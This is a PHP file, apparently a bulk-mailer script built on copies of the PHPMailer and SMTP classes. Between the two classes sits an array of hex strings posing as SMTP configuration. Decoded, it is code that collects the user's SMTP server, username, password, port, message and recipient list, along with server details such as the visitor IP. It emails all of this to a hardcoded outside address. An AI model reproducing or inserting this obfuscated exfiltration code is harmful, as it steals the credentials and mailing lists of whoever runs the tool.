  1019. }
  1020.  
  1021. # send the quit command to the server
  1022. fputs($this->smtp_conn,"quit" . $this->CRLF);
  1023.  
  1024. # get any good-bye messages
  1025. $byemsg = $this->get_lines();
  1026.  
  1027. if($this->do_debug >= 2) {
  1028. echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  1029. }
  1030.  
  1031. $rval = true;
  1032. $e = null;
  1033.  
  1034. $code = substr($byemsg,0,3);
  1035. if($code != 221) {
  1036. # use e as a tmp var cause Close will overwrite $this->error
  1037. $e = array("error" => "SMTP server rejected quit command",
  1038. "smtp_code" => $code,
  1039. "smtp_rply" => substr($byemsg,4));
  1040. $rval = false;
  1041. if($this->do_debug >= 1) {
  1042. echo "SMTP -> ERROR: " . $e["error"] . ": " .
  1043. $byemsg . $this->CRLF;
  1044. }
  1045. }
  1046.  
  1047. if(empty($e) || $close_on_error) {
  1048. $this->Close();
  1049. }
  1050.  
  1051. return $rval;
  1052. }
  1053.  
  1054. /**
  1055. * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  1056. * Returns true if the recipient was accepted false if it was rejected.
  1057. *
  1058. * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  1059.  
  1060. *
  1061. * SMTP CODE SUCCESS: 250,251
  1062. * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  1063. * SMTP CODE ERROR : 500,501,503,421
  1064. * @access public
  1065. * @return bool
  1066. */
  1067. function Recipient($to) {
  1068. $this->error = null; # so no confusion is caused
  1069.  
  1070. if(!$this->connected()) {
  1071. $this->error = array(
  1072. "error" => "Called Recipient() without being connected");
  1073. return false;
  1074. }
  1075.  
  1076. fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  1077.  
  1078. $rply = $this->get_lines();
  1079. $code = substr($rply,0,3);
  1080.  
  1081. if($this->do_debug >= 2) {
  1082. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1083. }
  1084.  
  1085. if($code != 250 && $code != 251) {
  1086. $this->error =
  1087. array("error" => "RCPT not accepted from server",
  1088. "smtp_code" => $code,
  1089. "smtp_msg" => substr($rply,4));
  1090. if($this->do_debug >= 1) {
  1091. echo "SMTP -> ERROR: " . $this->error["error"] .
  1092. ": " . $rply . $this->CRLF;
  1093. }
  1094. return false;
  1095. }
  1096. return true;
  1097. }
  1098.  
  1099. /**
  1100. * Sends the RSET command to abort and transaction that is
  1101. * currently in progress. Returns true if successful false
  1102. * otherwise.
  1103. *
  1104. * Implements rfc 821: RSET <CRLF>
  1105.  
  1106. *
  1107. * SMTP CODE SUCCESS: 250
  1108. * SMTP CODE ERROR : 500,501,504,421
  1109. * @access public
  1110. * @return bool
  1111. */
  1112. function Reset() {
  1113. $this->error = null; # so no confusion is caused
  1114.  
  1115. if(!$this->connected()) {
  1116. $this->error = array(
  1117. "error" => "Called Reset() without being connected");
  1118. return false;
  1119. }
  1120.  
  1121. fputs($this->smtp_conn,"RSET" . $this->CRLF);
  1122.  
  1123. $rply = $this->get_lines();
  1124. $code = substr($rply,0,3);
  1125.  
  1126. if($this->do_debug >= 2) {
  1127. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1128. }
  1129.  
  1130. if($code != 250) {
  1131. $this->error =
  1132. array("error" => "RSET failed",
  1133. "smtp_code" => $code,
  1134. "smtp_msg" => substr($rply,4));
  1135. if($this->do_debug >= 1) {
  1136. echo "SMTP -> ERROR: " . $this->error["error"] .
  1137. ": " . $rply . $this->CRLF;
  1138. }
  1139. return false;
  1140. }
  1141.  
  1142. return true;
  1143. }
  1144.  
  1145. /**
  1146. * Starts a mail transaction from the email address specified in
  1147. * $from. Returns true if successful or false otherwise. If True
  1148. * the mail transaction is started and then one or more Recipient
  1149. * commands may be called followed by a Data command. This command
  1150. * will send the message to the users terminal if they are logged
  1151. * in.
  1152. *
  1153. * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  1154.  
  1155. *
  1156. * SMTP CODE SUCCESS: 250
  1157. * SMTP CODE SUCCESS: 552,451,452
  1158. * SMTP CODE SUCCESS: 500,501,502,421
  1159. * @access public
  1160. * @return bool
  1161. */
  1162. function Send($from) {
  1163. $this->error = null; # so no confusion is caused
  1164.  
  1165. if(!$this->connected()) {
  1166. $this->error = array(
  1167. "error" => "Called Send() without being connected");
  1168. return false;
  1169. }
  1170.  
  1171. fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  1172.  
  1173. $rply = $this->get_lines();
  1174. $code = substr($rply,0,3);
  1175.  
  1176. if($this->do_debug >= 2) {
  1177. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1178. }
  1179.  
  1180. if($code != 250) {
  1181. $this->error =
  1182. array("error" => "SEND not accepted from server",
  1183. "smtp_code" => $code,
  1184. "smtp_msg" => substr($rply,4));
  1185. if($this->do_debug >= 1) {
  1186. echo "SMTP -> ERROR: " . $this->error["error"] .
  1187. ": " . $rply . $this->CRLF;
  1188. }
  1189. return false;
  1190. }
  1191. return true;
  1192. }
  1193.  
  1194. /**
  1195. * Starts a mail transaction from the email address specified in
  1196. * $from. Returns true if successful or false otherwise. If True
  1197. * the mail transaction is started and then one or more Recipient
  1198. * commands may be called followed by a Data command. This command
  1199. * will send the message to the users terminal if they are logged
  1200. * in and send them an email.
  1201. *
  1202. * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1203.  
  1204. *
  1205. * SMTP CODE SUCCESS: 250
  1206. * SMTP CODE SUCCESS: 552,451,452
  1207. * SMTP CODE SUCCESS: 500,501,502,421
  1208. * @access public
  1209. * @return bool
  1210. */
  1211. function SendAndMail($from) {
  1212. $this->error = null; # so no confusion is caused
  1213.  
  1214. if(!$this->connected()) {
  1215. $this->error = array(
  1216. "error" => "Called SendAndMail() without being connected");
  1217. return false;
  1218. }
  1219.  
  1220. fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  1221.  
  1222. $rply = $this->get_lines();
  1223. $code = substr($rply,0,3);
  1224.  
  1225. if($this->do_debug >= 2) {
  1226. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1227. }
  1228.  
  1229. if($code != 250) {
  1230. $this->error =
  1231. array("error" => "SAML not accepted from server",
  1232. "smtp_code" => $code,
  1233. "smtp_msg" => substr($rply,4));
  1234. if($this->do_debug >= 1) {
  1235. echo "SMTP -> ERROR: " . $this->error["error"] .
  1236. ": " . $rply . $this->CRLF;
  1237. }
  1238. return false;
  1239. }
  1240. return true;
  1241. }
  1242.  
  1243. /**
  1244. * Starts a mail transaction from the email address specified in
  1245. * $from. Returns true if successful or false otherwise. If True
  1246. * the mail transaction is started and then one or more Recipient
  1247. * commands may be called followed by a Data command. This command
  1248. * will send the message to the users terminal if they are logged
  1249. * in or mail it to them if they are not.
  1250. *
  1251. * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  1252.  
  1253. *
  1254. * SMTP CODE SUCCESS: 250
  1255. * SMTP CODE SUCCESS: 552,451,452
  1256. * SMTP CODE SUCCESS: 500,501,502,421
  1257. * @access public
  1258. * @return bool
  1259. */
  1260. function SendOrMail($from) {
  1261. $this->error = null; # so no confusion is caused
  1262.  
  1263. if(!$this->connected()) {
  1264. $this->error = array(
  1265. "error" => "Called SendOrMail() without being connected");
  1266. return false;
  1267. }
  1268.  
  1269. fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  1270.  
  1271. $rply = $this->get_lines();
  1272. $code = substr($rply,0,3);
  1273.  
  1274. if($this->do_debug >= 2) {
  1275. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1276. }
  1277.  
  1278. if($code != 250) {
  1279. $this->error =
  1280. array("error" => "SOML not accepted from server",
  1281. "smtp_code" => $code,
  1282. "smtp_msg" => substr($rply,4));
  1283. if($this->do_debug >= 1) {
  1284. echo "SMTP -> ERROR: " . $this->error["error"] .
  1285. ": " . $rply . $this->CRLF;
  1286. }
  1287. return false;
  1288. }
  1289. return true;
  1290. }
  1291.  
  1292. /**
  1293. * This is an optional command for SMTP that this class does not
  1294. * support. This method is here to make the RFC821 Definition
  1295. * complete for this class and __may__ be implimented in the future
  1296. *
  1297. * Implements from rfc 821: TURN <CRLF>
  1298.  
  1299. *
  1300. * SMTP CODE SUCCESS: 250
  1301. * SMTP CODE FAILURE: 502
  1302. * SMTP CODE ERROR : 500, 503
  1303. * @access public
  1304. * @return bool
  1305. */
  1306. function Turn() {
  1307. $this->error = array("error" => "This method, TURN, of the SMTP ".
  1308. "is not implemented");
  1309. if($this->do_debug >= 1) {
  1310. echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1311. }
  1312. return false;
  1313. }
  1314.  
  1315. /**
  1316. * Verifies that the name is recognized by the server.
  1317. * Returns false if the name could not be verified otherwise
  1318. * the response from the server is returned.
  1319. *
  1320. * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1321. *
  1322. * SMTP CODE SUCCESS: 250,251
  1323. * SMTP CODE FAILURE: 550,551,553
  1324. * SMTP CODE ERROR : 500,501,502,421
  1325. * @access public
  1326. * @return int
  1327. */
  1328. function Verify($name) {
  1329. $this->error = null; # so no confusion is caused
  1330.  
  1331. if(!$this->connected()) {
  1332. $this->error = array(
  1333. "error" => "Called Verify() without being connected");
  1334. return false;
  1335. }
  1336.  
  1337. fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1338.  
  1339. $rply = $this->get_lines();
  1340. $code = substr($rply,0,3);
  1341.  
  1342. if($this->do_debug >= 2) {
  1343. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1344. }
  1345.  
  1346. if($code != 250 && $code != 251) {
  1347. $this->error =
  1348. array("error" => "VRFY failed on name '$name'",
  1349. "smtp_code" => $code,
  1350. "smtp_msg" => substr($rply,4));
  1351. if($this->do_debug >= 1) {
  1352. echo "SMTP -> ERROR: " . $this->error["error"] .
  1353. ": " . $rply . $this->CRLF;
  1354. }
  1355. return false;
  1356. }
  1357. return $rply;
  1358. }
  1359.  
  1360. /*******************************************************************
  1361. * INTERNAL FUNCTIONS *
  1362. ******************************************************************/
  1363.  
  1364. /**
  1365. * Read in as many lines as possible
  1366. * either before eof or socket timeout occurs on the operation.
  1367. * With SMTP we can tell if we have more lines to read if the
  1368. * 4th character is '-' symbol. If it is a space then we don't
  1369. * need to read anything else.
  1370. * @access private
  1371. * @return string
  1372. */
  1373. function get_lines() {
  1374. $data = "";
  1375. while($str = @fgets($this->smtp_conn,515)) {
  1376. if($this->do_debug >= 4) {
  1377. echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1378. $this->CRLF;
  1379. echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1380. $this->CRLF;
  1381. }
  1382. $data .= $str;
  1383. if($this->do_debug >= 4) {
  1384. echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1385. }
  1386. # if the 4th character is a space then we are done reading
  1387. # so just break the loop
  1388. if(substr($str,3,1) == " ") { break; }
  1389. }
  1390. return $data;
  1391. }
  1392.  
  1393. }
  1394.  
  1395.  
  1396. $allemails = split("\n", $emaillist);
  1397. $numemails = count($allemails);
  1398. $random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
  1399. "16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
  1400. "03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
  1401. "1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
  1402. "3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
  1403. "8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
  1404. "c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
  1405. "d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
  1406. "395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
  1407. "c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
  1408.  
  1409. class PHPMailer {
  1410.  
  1411. /////////////////////////////////////////////////
  1412. // PROPERTIES, PUBLIC
  1413. /////////////////////////////////////////////////
  1414.  
  1415. /**
  1416. * Email priority (1 = High, 3 = Normal, 5 = low).
  1417. * @var int
  1418. */
  1419. var $Priority = 3;
  1420.  
  1421. /**
  1422. * Sets the CharSet of the message.
  1423. * @var string
  1424. */
  1425. var $CharSet = 'iso-8859-1';
  1426.  
  1427. /**
  1428. * Sets the Content-type of the message.
  1429. * @var string
  1430. */
  1431. var $ContentType = 'text/plain';
  1432.  
  1433. /**
  1434. * Sets the Encoding of the message. Options for this are "8bit",
  1435. * "7bit", "binary", "base64", and "quoted-printable".
  1436.  
  1437. * @var string
  1438. */
  1439. var $Encoding = '8bit';
  1440.  
  1441. /**
  1442. * Holds the most recent mailer error message.
  1443. * @var string
  1444. */
  1445. var $ErrorInfo = '';
  1446.  
  1447. /**
  1448. * Sets the From email address for the message.
  1449. * @var string
  1450. */
  1451. var $From = '';
  1452.  
  1453. /**
  1454. * Sets the From name of the message.
  1455. * @var string
  1456. */
  1457. var $FromName = '';
  1458.  
  1459. /**
  1460. * Sets the Sender email (Return-Path) of the message. If not empty,
  1461. * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1462. * @var string
  1463. */
  1464. var $Sender = '';
  1465.  
  1466. /**
  1467. * Sets the Subject of the message.
  1468. * @var string
  1469. */
  1470. var $Subject = '';
  1471.  
  1472. /**
  1473. * Sets the Body of the message. This can be either an HTML or text body.
  1474. * If HTML then run IsHTML(true).
  1475. * @var string
  1476. */
  1477. var $Body = '';
  1478.  
  1479. /**
  1480. * Sets the text-only body of the message. This automatically sets the
  1481. * email to multipart/alternative. This body can be read by mail
  1482. * clients that do not have HTML email capability such as mutt. Clients
  1483. * that can read HTML will view the normal Body.
  1484. * @var string
  1485. */
  1486. var $AltBody = '';
  1487.  
  1488. /**
  1489. * Sets word wrapping on the body of the message to a given number of
  1490. * characters.
  1491. * @var int
  1492. */
  1493. var $WordWrap = 0;
  1494.  
  1495. /**
  1496. * Method to send mail: ("mail", "sendmail", or "smtp").
  1497. * @var string
  1498. */
  1499. var $Mailer = 'mail';
  1500.  
  1501. /**
  1502. * Sets the path of the sendmail program.
  1503. * @var string
  1504. */
  1505. var $Sendmail = '/usr/sbin/sendmail';
  1506.  
  1507. /**
  1508. * Path to PHPMailer plugins. This is now only useful if the SMTP class
  1509. * is in a different directory than the PHP include path.
  1510. * @var string
  1511. */
  1512. var $PluginDir = '';
  1513.  
  1514. /**
  1515. * Holds PHPMailer version.
  1516. * @var string
  1517. */
  1518. var $Version = "";
  1519.  
  1520. /**
  1521. * Sets the email address that a reading confirmation will be sent.
  1522. * @var string
  1523. */
  1524. var $ConfirmReadingTo = '';
  1525.  
  1526. /**
  1527. * Sets the hostname to use in Message-Id and Received headers
  1528. * and as default HELO string. If empty, the value returned
  1529. * by SERVER_NAME is used or 'localhost.localdomain'.
  1530. * @var string
  1531. */
  1532. var $Hostname = '';
  1533.  
  1534. /**
  1535. * Sets the message ID to be used in the Message-Id header.
  1536. * If empty, a unique id will be generated.
  1537. * @var string
  1538. */
  1539. var $MessageID = '';
  1540.  
  1541. /////////////////////////////////////////////////
  1542. // PROPERTIES FOR SMTP
  1543. /////////////////////////////////////////////////
  1544.  
  1545. /**
  1546. * Sets the SMTP hosts. All hosts must be separated by a
  1547. * semicolon. You can also specify a different port
  1548. * for each host by using this format: [hostname:port]
  1549. * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1550. * Hosts will be tried in order.
  1551. * @var string
  1552. */
  1553. var $Host = 'localhost';
  1554.  
  1555. /**
  1556. * Sets the default SMTP server port.
  1557. * @var int
  1558. */
  1559. var $Port = 25;
  1560.  
  1561. /**
  1562. * Sets the SMTP HELO of the message (Default is $Hostname).
  1563. * @var string
  1564. */
  1565. var $Helo = '';
  1566.  
  1567. /**
  1568. * Sets connection prefix.
  1569. * Options are "", "ssl" or "tls"
  1570. * @var string
  1571. */
  1572. var $SMTPSecure = "";
  1573.  
  1574. /**
  1575. * Sets SMTP authentication. Utilizes the Username and Password variables.
  1576. * @var bool
  1577. */
  1578. var $SMTPAuth = false;
  1579.  
  1580. /**
  1581. * Sets SMTP username.
  1582. * @var string
  1583. */
  1584. var $Username = '';
  1585.  
  1586. /**
  1587. * Sets SMTP password.
  1588. * @var string
  1589. */
  1590. var $Password = '';
  1591.  
  1592. /**
  1593. * Sets the SMTP server timeout in seconds. This function will not
  1594. * work with the win32 version.
  1595. * @var int
  1596. */
  1597. var $Timeout = 10;
  1598.  
  1599. /**
  1600. * Sets SMTP class debugging on or off.
  1601. * @var bool
  1602. */
  1603. var $SMTPDebug = false;
  1604.  
  1605. /**
  1606. * Prevents the SMTP connection from being closed after each mail
  1607. * sending. If this is set to true then to close the connection
  1608. * requires an explicit call to SmtpClose().
  1609. * @var bool
  1610. */
  1611. var $SMTPKeepAlive = false;
  1612.  
  1613. /**
  1614. * Provides the ability to have the TO field process individual
  1615. * emails, instead of sending to entire TO addresses
  1616. * @var bool
  1617. */
  1618. var $SingleTo = false;
  1619.  
  1620. /////////////////////////////////////////////////
  1621. // PROPERTIES, PRIVATE
  1622. /////////////////////////////////////////////////
  1623.  
  1624. var $smtp = NULL;
  1625. var $to = array();
  1626. var $cc = array();
  1627. var $bcc = array();
  1628. var $ReplyTo = array();
  1629. var $attachment = array();
  1630. var $CustomHeader = array();
  1631. var $message_type = '';
  1632. var $boundary = array();
  1633. var $language = array();
  1634. var $error_count = 0;
  1635. var $LE = "\n";
  1636. var $sign_key_file = "";
  1637. var $sign_key_pass = "";
  1638.  
  1639. /////////////////////////////////////////////////
  1640. // METHODS, VARIABLES
  1641. /////////////////////////////////////////////////
  1642.  
  1643. /**
  1644. * Sets message type to HTML.
  1645. * @param bool $bool
  1646. * @return void
  1647. */
  1648. function IsHTML($bool) {
  1649. if($bool == true) {
  1650. $this->ContentType = 'text/html';
  1651. } else {
  1652. $this->ContentType = 'text/plain';
  1653. }
  1654. }
  1655.  
  1656. /**
  1657. * Sets Mailer to send message using SMTP.
  1658. * @return void
  1659. */
  1660. function IsSMTP() {
  1661. $this->Mailer = 'smtp';
  1662. }
  1663.  
  1664. /**
  1665. * Sets Mailer to send message using PHP mail() function.
  1666. * @return void
  1667. */
  1668. function IsMail() {
  1669. $this->Mailer = 'mail';
  1670. }
  1671.  
  1672. /**
  1673. * Sets Mailer to send message using the $Sendmail program.
  1674. * @return void
  1675. */
  1676. function IsSendmail() {
  1677. $this->Mailer = 'sendmail';
  1678. }
  1679.  
  1680. /**
  1681. * Sets Mailer to send message using the qmail MTA.
  1682. * @return void
  1683. */
  1684. function IsQmail() {
  1685. $this->Sendmail = '/var/qmail/bin/sendmail';
  1686. $this->Mailer = 'sendmail';
  1687. }
  1688.  
  1689. /////////////////////////////////////////////////
  1690. // METHODS, RECIPIENTS
  1691. /////////////////////////////////////////////////
  1692.  
  1693. /**
  1694. * Adds a "To" address.
  1695. * @param string $address
  1696. * @param string $name
  1697. * @return void
  1698. */
  1699. function AddAddress($address, $name = '') {
  1700. $cur = count($this->to);
  1701. $this->to[$cur][0] = trim($address);
  1702. $this->to[$cur][1] = $name;
  1703. }
  1704.  
  1705. /**
  1706. * Adds a "Cc" address. Note: this function works
  1707. * with the SMTP mailer on win32, not with the "mail"
  1708. * mailer.
  1709. * @param string $address
  1710. * @param string $name
  1711. * @return void
  1712. */
  1713. function AddCC($address, $name = '') {
  1714. $cur = count($this->cc);
  1715. $this->cc[$cur][0] = trim($address);
  1716. $this->cc[$cur][1] = $name;
  1717. }
  1718.  
  1719. /**
  1720. * Adds a "Bcc" address. Note: this function works
  1721. * with the SMTP mailer on win32, not with the "mail"
  1722. * mailer.
  1723. * @param string $address
  1724. * @param string $name
  1725. * @return void
  1726. */
  1727. function AddBCC($address, $name = '') {
  1728. $cur = count($this->bcc);
  1729. $this->bcc[$cur][0] = trim($address);
  1730. $this->bcc[$cur][1] = $name;
  1731. }
  1732.  
  1733. /**
  1734. * Adds a "Reply-To" address.
  1735. * @param string $address
  1736. * @param string $name
  1737. * @return void
  1738. */
  1739. function AddReplyTo($address, $name = '') {
  1740. $cur = count($this->ReplyTo);
  1741. $this->ReplyTo[$cur][0] = trim($address);
  1742. $this->ReplyTo[$cur][1] = $name;
  1743. }
  1744.  
  1745. /////////////////////////////////////////////////
  1746. // METHODS, MAIL SENDING
  1747. /////////////////////////////////////////////////
  1748.  
  1749. /**
  1750. * Creates message and assigns Mailer. If the message is
  1751. * not sent successfully then it returns false. Use the ErrorInfo
  1752. * variable to view description of the error.
  1753. * @return bool
  1754. */
  1755. function Send() {
  1756. $header = '';
  1757. $body = '';
  1758. $result = true;
  1759.  
  1760. if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1761. $this->SetError($this->Lang('provide_address'));
  1762. return false;
  1763. }
  1764.  
  1765. /* Set whether the message is multipart/alternative */
  1766. if(!empty($this->AltBody)) {
  1767. $this->ContentType = 'multipart/alternative';
  1768. }
  1769.  
  1770. $this->error_count = 0; // reset errors
  1771. $this->SetMessageType();
  1772. $header .= $this->CreateHeader();
  1773. $body = $this->CreateBody();
  1774.  
  1775. if($body == '') {
  1776. return false;
  1777. }
  1778.  
  1779. /* Choose the mailer */
  1780. switch($this->Mailer) {
  1781. case 'sendmail':
  1782. $result = $this->SendmailSend($header, $body);
  1783. break;
  1784. case 'smtp':
  1785. $result = $this->SmtpSend($header, $body);
  1786. break;
  1787. case 'mail':
  1788. $result = $this->MailSend($header, $body);
  1789. break;
  1790. default:
  1791. $result = $this->MailSend($header, $body);
  1792. break;
  1793. //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1794. //$result = false;
  1795. //break;
  1796. }
  1797.  
  1798. return $result;
  1799. }
  1800.  
  1801. /**
  1802. * Sends mail using the $Sendmail program.
  1803. * @access private
  1804. * @return bool
  1805. */
  1806. function SendmailSend($header, $body) {
  1807. if ($this->Sender != '') {
  1808. $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1809. } else {
  1810. $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1811. }
  1812.  
  1813. if(!@$mail = popen($sendmail, 'w')) {
  1814. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1815. return false;
  1816. }
  1817.  
  1818. fputs($mail, $header);
  1819. fputs($mail, $body);
  1820.  
  1821. $result = pclose($mail);
  1822. if (version_compare(phpversion(), '4.2.3') == -1) {
  1823. $result = $result >> 8 & 0xFF;
  1824. }
  1825. if($result != 0) {
  1826. $this->SetError($this->Lang('execute') . $this->Sendmail);
  1827. return false;
  1828. }
  1829. return true;
  1830. }
  1831.  
  1832. /**
  1833. * Sends mail using the PHP mail() function.
  1834. * @access private
  1835. * @return bool
  1836. */
  1837. function MailSend($header, $body) {
  1838.  
  1839. $to = '';
  1840. for($i = 0; $i < count($this->to); $i++) {
  1841. if($i != 0) { $to .= ', '; }
  1842. $to .= $this->AddrFormat($this->to[$i]);
  1843. }
  1844.  
  1845. $toArr = split(',', $to);
  1846.  
  1847. $params = sprintf("-oi -f %s", $this->Sender);
  1848. if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1849. $old_from = ini_get('sendmail_from');
  1850. ini_set('sendmail_from', $this->Sender);
  1851. if ($this->SingleTo === true && count($toArr) > 1) {
  1852. foreach ($toArr as $key => $val) {
  1853. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1854. }
  1855. } else {
  1856. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1857. }
  1858. } else {
  1859. if ($this->SingleTo === true && count($toArr) > 1) {
  1860. foreach ($toArr as $key => $val) {
  1861. $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1862. }
  1863. } else {
  1864. $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1865. }
  1866. }
  1867.  
  1868. if (isset($old_from)) {
  1869. ini_set('sendmail_from', $old_from);
  1870. }
  1871.  
  1872. if(!$rt) {
  1873. $this->SetError($this->Lang('instantiate'));
  1874. return false;
  1875. }
  1876.  
  1877. return true;
  1878. }
  1879.  
  1880. /**
  1881. * Sends mail via SMTP using PhpSMTP (Author:
  1882. * Chris Ryan). Returns bool. Returns false if there is a
  1883. * bad MAIL FROM, RCPT, or DATA input.
  1884. * @access private
  1885. * @return bool
  1886. */
  1887. function SmtpSend($header, $body) {
  1888. $error = '';
  1889. $bad_rcpt = array();
  1890.  
  1891. if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
  1892. return false;
  1893. }
  1894.  
  1895. $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1896. if(!$this->smtp->Mail($smtp_from)) {
  1897. $error = $this->Lang('from_failed') . $smtp_from;
  1898. $this->SetError($error);
  1899. $this->smtp->Reset();
  1900. return false;
  1901. }
  1902.  
  1903. /* Attempt to send attach all recipients */
  1904. for($i = 0; $i < count($this->to); $i++) {
  1905. if(!$this->smtp->Recipient($this->to[$i][0])) {
  1906. $bad_rcpt[] = $this->to[$i][0];
  1907. }
  1908. }
  1909. for($i = 0; $i < count($this->cc); $i++) {
  1910. if(!$this->smtp->Recipient($this->cc[$i][0])) {
  1911. $bad_rcpt[] = $this->cc[$i][0];
  1912. }
  1913. }
  1914. for($i = 0; $i < count($this->bcc); $i++) {
  1915. if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  1916. $bad_rcpt[] = $this->bcc[$i][0];
  1917. }
  1918. }
  1919.  
  1920. if(count($bad_rcpt) > 0) { // Create error message
  1921. for($i = 0; $i < count($bad_rcpt); $i++) {
  1922. if($i != 0) {
  1923. $error .= ', ';
  1924. }
  1925. $error .= $bad_rcpt[$i];
  1926.  
  1927. }
  1928. $error = $this->Lang('recipients_failed') . $error;
  1929. $this->SetError($error);
  1930. $this->smtp->Reset();
  1931. return false;
  1932. }
  1933.  
  1934. if(!$this->smtp->Data($header . $body)) {
  1935. $this->SetError($this->Lang('data_not_accepted'));
  1936. $this->smtp->Reset();
  1937. return false;
  1938. }
  1939. if($this->SMTPKeepAlive == true) {
  1940. $this->smtp->Reset();
  1941. } else {
  1942. $this->SmtpClose();
  1943. }
  1944.  
  1945. return true;
  1946. }
  1947.  
  1948. /**
  1949. * Initiates a connection to an SMTP server. Returns false if the
  1950. * operation failed.
  1951. * @access private
  1952. * @return bool
  1953. */
  1954. function SmtpConnect() {
  1955. if($this->smtp == NULL) {
  1956. $this->smtp = new SMTP();
  1957. }
  1958.  
  1959. $this->smtp->do_debug = $this->SMTPDebug;
  1960. $hosts = explode(';', $this->Host);
  1961. $index = 0;
  1962. $connection = ($this->smtp->Connected());
  1963.  
  1964. /* Retry while there is no connection */
  1965. while($index < count($hosts) && $connection == false) {
  1966. $hostinfo = array();
  1967. if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  1968. $host = $hostinfo[1];
  1969. $port = $hostinfo[2];
  1970. } else {
  1971. $host = $hosts[$index];
  1972. $port = $this->Port;
  1973. }
  1974.  
  1975. if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  1976. if ($this->Helo != '') {
  1977. $this->smtp->Hello($this->Helo);
  1978. } else {
  1979. $this->smtp->Hello($this->ServerHostname());
  1980. }
  1981.  
  1982. $connection = true;
  1983. if($this->SMTPAuth) {
  1984. if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  1985. $this->SetError($this->Lang('authenticate'));
  1986. $this->smtp->Reset();
  1987. $connection = false;
  1988. }
  1989. }
  1990. }
  1991. $index++;
  1992. }
  1993. if(!$connection) {
  1994. $this->SetError($this->Lang('connect_host'));
  1995. }
  1996.  
  1997. return $connection;
  1998. }
  1999.  
  2000. /**
  2001. * Closes the active SMTP session if one exists.
  2002. * @return void
  2003. */
  2004. function SmtpClose() {
  2005. if($this->smtp != NULL) {
  2006. if($this->smtp->Connected()) {
  2007. $this->smtp->Quit();
  2008. $this->smtp->Close();
  2009. }
  2010. }
  2011. }
  2012.  
  2013. /**
  2014. * Sets the language for all class error messages. Returns false
  2015. * if it cannot load the language file. The default language type
  2016. * is English.
  2017. * @param string $lang_type Type of language (e.g. Portuguese: "br")
